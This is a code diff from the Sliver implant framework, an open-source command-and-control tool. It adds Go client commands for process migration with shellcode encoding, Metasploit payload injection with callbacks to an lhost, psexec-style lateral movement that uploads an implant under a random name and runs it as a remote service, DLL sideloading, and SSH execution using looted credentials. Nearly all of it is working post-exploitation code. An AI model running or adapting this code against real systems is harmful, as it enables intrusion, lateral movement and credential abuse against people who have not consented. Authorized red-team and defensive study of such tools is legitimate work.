+}
+
+func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
+	con.PrintInfof("Output:\n%s", executionOutput)
+
+	if saveOutput {
+		SaveExecutionOutput(executionOutput, commandName, hostName, con)
+	}
+}
+
+func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
+	var outFilePath *os.File
+	var err error
+
+	if len(executionOutput) == 0 {
+		con.PrintInfof("There was no output from execution, so there is nothing to save.")
+		return
+	}
+
+	timeNow := time.Now().UTC().Format("20060102150405")
+
+	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
+
+	outFilePath, err = os.CreateTemp("", outFileName)
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if outFilePath != nil {
+		outFilePath.Write([]byte(executionOutput))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
@@ -0,0 +1,96 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// MigrateCmd - Windows only, inject an implant into another process
+func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session := con.ActiveTarget.GetSession()
+	if session == nil {
+		return
+	}
+
+	pid, _ := cmd.Flags().GetUint32("pid")
+	procName, _ := cmd.Flags().GetString("process-name")
+	if pid == 0 && procName == "" {
+		con.PrintErrorf("Error: Must specify either a PID or process name\n")
+		return
+	}
+	if procName != "" {
+		procCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
+		proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+			Request: con.ActiveTarget.Request(cmd),
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %v\n", err)
+			return
+		}
+		procCtrl <- true
+		<-procCtrl
+		for _, p := range proc.GetProcesses() {
+			if strings.EqualFold(p.Executable, procName) {
+				pid = uint32(p.Pid)
+				break
+			}
+		}
+		if pid == 0 {
+			con.PrintErrorf("Error: Could not find process %s\n", procName)
+			return
+		}
+		con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
+	}
+	config := con.GetActiveSessionConfig()
+	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+	if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
+		encoder = clientpb.ShellcodeEncoder_NONE
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+
+	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
+		Pid:     pid,
+		Config:  config,
+		Request: con.ActiveTarget.Request(cmd),
+		Encoder: encoder,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %v", err)
+		return
+	}
+	if !migrate.Success {
+		con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
+		return
+	}
+	con.PrintInfof("Successfully migrated to %d\n", pid)
+}
@@ -0,0 +1,113 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// MsfInjectCmd - Inject a metasploit payload into a remote process
+func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	payloadName, _ := cmd.Flags().GetString("payload")
+	lhost, _ := cmd.Flags().GetString("lhost")
+	lport, _ := cmd.Flags().GetInt("lport")
+	encoder, _ := cmd.Flags().GetString("encoder")
+	iterations, _ := cmd.Flags().GetInt("iterations")
+	pid, _ := cmd.Flags().GetInt("pid")
+
+	if lhost == "" {
+		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+		return
+	}
+	if pid == -1 {
+		con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+		return
+	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
+	con.SpinUntil(msg, ctrl)
+	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
+		Request:    con.ActiveTarget.Request(cmd),
+		Payload:    payloadName,
+		LHost:      lhost,
+		LPort:      uint32(lport),
+		Encoder:    encoder,
+		Iterations: int32(iterations),
+		PID:        uint32(pid),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
+	} else {
+		PrintMsfRemote(msfTask, con)
+	}
+}
+
+// PrintMsfRemote - Print the results of the remote injection attempt
+func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
+	if msfRemote.Response == nil {
+		con.PrintErrorf("Empty response from msf payload injection task")
+		return
+	}
+	if msfRemote.Response.Err != "" {
+		con.PrintInfof("Executed payload on target")
+	} else {
+		con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
+	}
+}
@@ -0,0 +1,93 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+)
+
+// MsfCmd - Inject a metasploit payload into the current remote process
+func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	payloadName, _ := cmd.Flags().GetString("payload")
+	lhost, _ := cmd.Flags().GetString("lhost")
+	lport, _ := cmd.Flags().GetInt("lport")
+	encoder, _ := cmd.Flags().GetString("encoder")
+	iterations, _ := cmd.Flags().GetInt("iterations")
+
+	if lhost == "" {
+		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
+		return
+	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
+	con.SpinUntil(msg, ctrl)
+	msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
+		Request:    con.ActiveTarget.Request(cmd),
+		Payload:    payloadName,
+		LHost:      lhost,
+		LPort:      uint32(lport),
+		Encoder:    encoder,
+		Iterations: int32(iterations),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
+	} else {
+		PrintMsfRemote(msfTask, con)
+	}
+}
@@ -0,0 +1,210 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"strings"
+	"time"
+
+	insecureRand "math/rand"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+)
+
+// PsExecCmd - psexec command implementation.
+func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	hostname := args[0]
+	if hostname == "" {
+		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
+		return
+	}
+	var serviceBinary []byte
+	profile, _ := cmd.Flags().GetString("profile")
+	serviceName, _ := cmd.Flags().GetString("service-name")
+	serviceDesc, _ := cmd.Flags().GetString("service-description")
+	binPath, _ := cmd.Flags().GetString("binpath")
+	customExe, _ := cmd.Flags().GetString("custom-exe")
+	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(binPath), "c:", "C$"))
+
+	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
+		con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
+		con.PrintWarnf("You might want to change that before going further...\n")
+		if !settings.IsUserAnAdult(con) {
+			return
+		}
+	}
+
+	if customExe == "" {
+		if profile == "" {
+			con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
+			return
+		}
+
+		// generate sliver
+		generateCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+		profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+		generateCtrl <- true
+		<-generateCtrl
+		var implantProfile *clientpb.ImplantProfile
+		for _, prof := range profiles.Profiles {
+			if prof.Name == profile {
+				implantProfile = prof
+			}
+		}
+		if implantProfile.GetName() == "" {
+			con.PrintErrorf("No profile found for name %s\n", profile)
+			return
+		}
+		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
+	} else {
+		// use a custom exe instead of generating a new Sliver
+		fileBytes, err := os.ReadFile(customExe)
+		if err != nil {
+			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
+			return
+		}
+		serviceBinary = fileBytes
+	}
+
+	filename := randomFileName()
+	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
+	uploadGzip, _ := new(encoders.Gzip).Encode(serviceBinary)
+	// upload to remote target
+	uploadCtrl := make(chan bool)
+	con.SpinUntil("Uploading service binary ...", uploadCtrl)
+	upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
+		Encoder: "gzip",
+		Data:    uploadGzip,
+		Path:    filePath,
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	uploadCtrl <- true
+	<-uploadCtrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath())
+	con.PrintInfof("Waiting a bit for the file to be analyzed ...\n")
+	// Looks like starting the service right away often fails
+	// because a process is already using the binary.
+	// I suspect that Defender on my lab is holding access
+	// while scanning, which often resulted in an error.
+	// Waiting 5 seconds seem to do the trick here.
+	time.Sleep(5 * time.Second)
+	// start service
+	binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
+	serviceCtrl := make(chan bool)
+	con.SpinUntil("Starting service ...", serviceCtrl)
+	start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
+		BinPath:            binaryPath,
+		Hostname:           hostname,
+		Request:            con.ActiveTarget.Request(cmd),
+		ServiceDescription: serviceDesc,
+		ServiceName:        serviceName,
+		Arguments:          "",
+	})
+	serviceCtrl <- true
+	<-serviceCtrl
+	if err != nil {
+		con.PrintErrorf("Error: %v\n", err)
+		return
+	}
+	if start.Response != nil && start.Response.Err != "" {
+		con.PrintErrorf("Error: %s", start.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
+	removeChan := make(chan bool)
+	con.SpinUntil("Removing service ...", removeChan)
+	removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
+		ServiceInfo: &sliverpb.ServiceInfoReq{
+			Hostname:    hostname,
+			ServiceName: serviceName,
+		},
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	removeChan <- true
+	<-removeChan
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	if removed.Response != nil && removed.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", removed.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
+}
+
+func randomString() string {
+	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
+	str := ""
+	for index := 0; index < insecureRand.Intn(8)+1; index++ {
+		str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+	return str
+}
+
+func randomFileName() string {
+	noun := randomString()
+	noun = strings.ToLower(noun)
+	switch insecureRand.Intn(3) {
+	case 0:
+		noun = strings.ToUpper(noun)
+	case 1:
+		noun = strings.ToTitle(noun)
+	}
+
+	separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
+	sep := separators[insecureRand.Intn(len(separators))]
+
+	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
+	prefix := ""
+	for index := 0; index < insecureRand.Intn(3); index++ {
+		prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+	suffix := ""
+	for index := 0; index < insecureRand.Intn(6)+1; index++ {
+		suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+
+	return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
+}
@@ -0,0 +1,115 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// SideloadCmd - Sideload a shared library on the remote system
+func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	binPath := args[0]
+	binArgs := strings.Join(args[1:], " ")
+
+	entryPoint, _ := cmd.Flags().GetString("entry-point")
+	processName, _ := cmd.Flags().GetString("process")
+	keepAlive, _ := cmd.Flags().GetBool("keep-alive")
+	isUnicode, _ := cmd.Flags().GetBool("unicode")
+	pPid, _ := cmd.Flags().GetUint32("ppid")
+
+	binData, err := os.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s", err.Error())
+		return
+	}
+	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
+	isDLL := (filepath.Ext(binPath) == ".dll")
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
+	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+		Request:     con.ActiveTarget.Request(cmd),
+		Args:        binArgs,
+		Data:        binData,
+		EntryPoint:  entryPoint,
+		ProcessName: processName,
+		Kill:        !keepAlive,
+		IsDLL:       isDLL,
+		IsUnicode:   isUnicode,
+		PPid:        pPid,
+		ProcessArgs: processArgs,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %v", err)
+		return
+	}
+
+	hostName := getHostname(session, beacon)
+	if sideload.Response != nil && sideload.Response.Async {
+		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, sideload)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+
+			HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
+		})
+		con.PrintAsyncResponse(sideload.Response)
+	} else {
+		HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
+	}
+}
+
+func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	lootName, _ := cmd.Flags().GetString("name")
+
+	if sideload.GetResponse().GetErr() != "" {
+		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
+		return
+	}
+
+	save, _ := cmd.Flags().GetBool("save")
+
+	PrintExecutionOutput(sideload.GetResult(), save, cmd.Name(), hostName, con)
+
+	if saveLoot {
+		LootExecute([]byte(sideload.Result), lootName, cmd.Name(), binPath, hostName, con)
+	}
+}
@@ -0,0 +1,104 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"strings"
+
+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// SpawnDllCmd - Spawn execution of a DLL on the remote system
+func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	binPath := args[0]
+	dllArgs := strings.Join(args[1:], " ")
+
+	processName, _ := cmd.Flags().GetString("process")
+	exportName, _ := cmd.Flags().GetString("export")
+	keepAlive, _ := cmd.Flags().GetBool("keep-alive")
+
+	binData, err := os.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
+	spawndll, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+		Data:        binData,
+		ProcessName: processName,
+		Args:        dllArgs,
+		EntryPoint:  exportName,
+		Request:     con.ActiveTarget.Request(cmd),
+		Kill:        !keepAlive,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ctrl <- true
+	<-ctrl
+
+	hostName := getHostname(session, beacon)
+	if spawndll.Response != nil && spawndll.Response.Async {
+		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, spawndll)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+
+			HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
+		})
+		con.PrintAsyncResponse(spawndll.Response)
+	} else {
+		HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
+	}
+}
+
+func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	lootName, _ := cmd.Flags().GetString("name")
+
+	if spawndll.GetResponse().GetErr() != "" {
+		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
+		return
+	}
+
+	save, _ := cmd.Flags().GetBool("save")
+
+	PrintExecutionOutput(spawndll.GetResult(), save, cmd.Name(), hostName, con)
+
+	if saveLoot {
+		LootExecute([]byte(spawndll.GetResult()), lootName, cmd.Name(), binPath, hostName, con)
+	}
+}
@@ -0,0 +1,166 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"os"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
+func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	var (
+		privKey []byte
+		err     error
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	username, _ := cmd.Flags().GetString("login")
+	if username == "" {
+		username = session.GetUsername()
+	}
+
+	port, _ := cmd.Flags().GetUint("port")
+	privateKeyPath, _ := cmd.Flags().GetString("private-key")
+	if privateKeyPath != "" {
+		privKey, err = os.ReadFile(privateKeyPath)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	password, _ := cmd.Flags().GetString("password")
+
+	hostname := args[0]
+	command := args[1:]
+
+	kerberosRealm, _ := cmd.Flags().GetString("kerberos-realm")
+	kerberosConfig, _ := cmd.Flags().GetString("kerberos-config")
+	kerberosKeytabFile, _ := cmd.Flags().GetString("kerberos-keytab")
+
+	if kerberosRealm != "" && kerberosKeytabFile == "" {
+		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
+		return
+	}
+	kerberosKeytab := []byte{}
+	if kerberosKeytabFile != "" {
+		kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+
+	skipLoot, _ := cmd.Flags().GetBool("skip-loot")
+
+	if password == "" && len(privKey) == 0 && !skipLoot {
+		oldUsername := username
+		username, password, privKey = tryCredsFromLoot(con)
+		if username == "" {
+			username = oldUsername
+		}
+	}
+
+	sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
+		Username: username,
+		Hostname: hostname,
+		Port:     uint32(port),
+		PrivKey:  privKey,
+		Password: password,
+		Command:  strings.Join(command, " "),
+		Realm:    kerberosRealm,
+		Krb5Conf: kerberosConfig,
+		Keytab:   kerberosKeytab,
+		Request:  con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if sshCmd.Response != nil && sshCmd.Response.Async {
+		con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, sshCmd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSSHCmd(sshCmd, con)
+		})
+		con.PrintAsyncResponse(sshCmd.Response)
+	} else {
+		PrintSSHCmd(sshCmd, con)
+	}
+}
+
+// PrintSSHCmd - Print the ssh command response
+func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
+	if sshCmd.Response != nil && sshCmd.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
+		if sshCmd.StdErr != "" {
+			con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
+		}
+		return
+	}
+	if sshCmd.StdOut != "" {
+		con.PrintInfof("Output:\n")
+		con.Println(sshCmd.StdOut)
+		if sshCmd.StdErr != "" {
+			con.PrintInfof("StdErr:\n")
+			con.Println(sshCmd.StdErr)
+		}
+	}
+}
+
+func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
+	var (
+		username string
+		password string
+		privKey  []byte
+	)
+	confirm := false
+	prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
+	survey.AskOne(prompt, &confirm, nil)
+	if confirm {
+		// cred, err := loot.SelectCredentials(con)
+		// if err != nil {
+		// 	con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
+		// } else {
+		// 	switch cred.CredentialType {
+		// 	case clientpb.CredentialType_API_KEY:
+		// 		privKey = []byte(cred.Credential.APIKey)
+		// 	case clientpb.CredentialType_USER_PASSWORD:
+		// 		username = cred.Credential.User
+		// 		password = cred.Credential.Password
+		// 	}
+		// }
+	}
+	return username, password, privKey
+}
@@ -1,75 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) < 1 {
-		fmt.Printf(Warn + "Please provide a path. See `help execute` for more info.\n")
-		return
-	}
-
-	cmdPath := ctx.Args[0]
-	var args []string
-	if len(ctx.Args) > 1 {
-		args = ctx.Args[1:]
-	}
-	output := ctx.Flags.Bool("silent")
-	token := ctx.Flags.Bool("token")
-	var exec *sliverpb.Execute
-	var err error
-	if token {
-		exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: ActiveSession.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  !output,
-		})
-	} else {
-		exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-			Request: ActiveSession.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  !output,
-		})
-	}
-
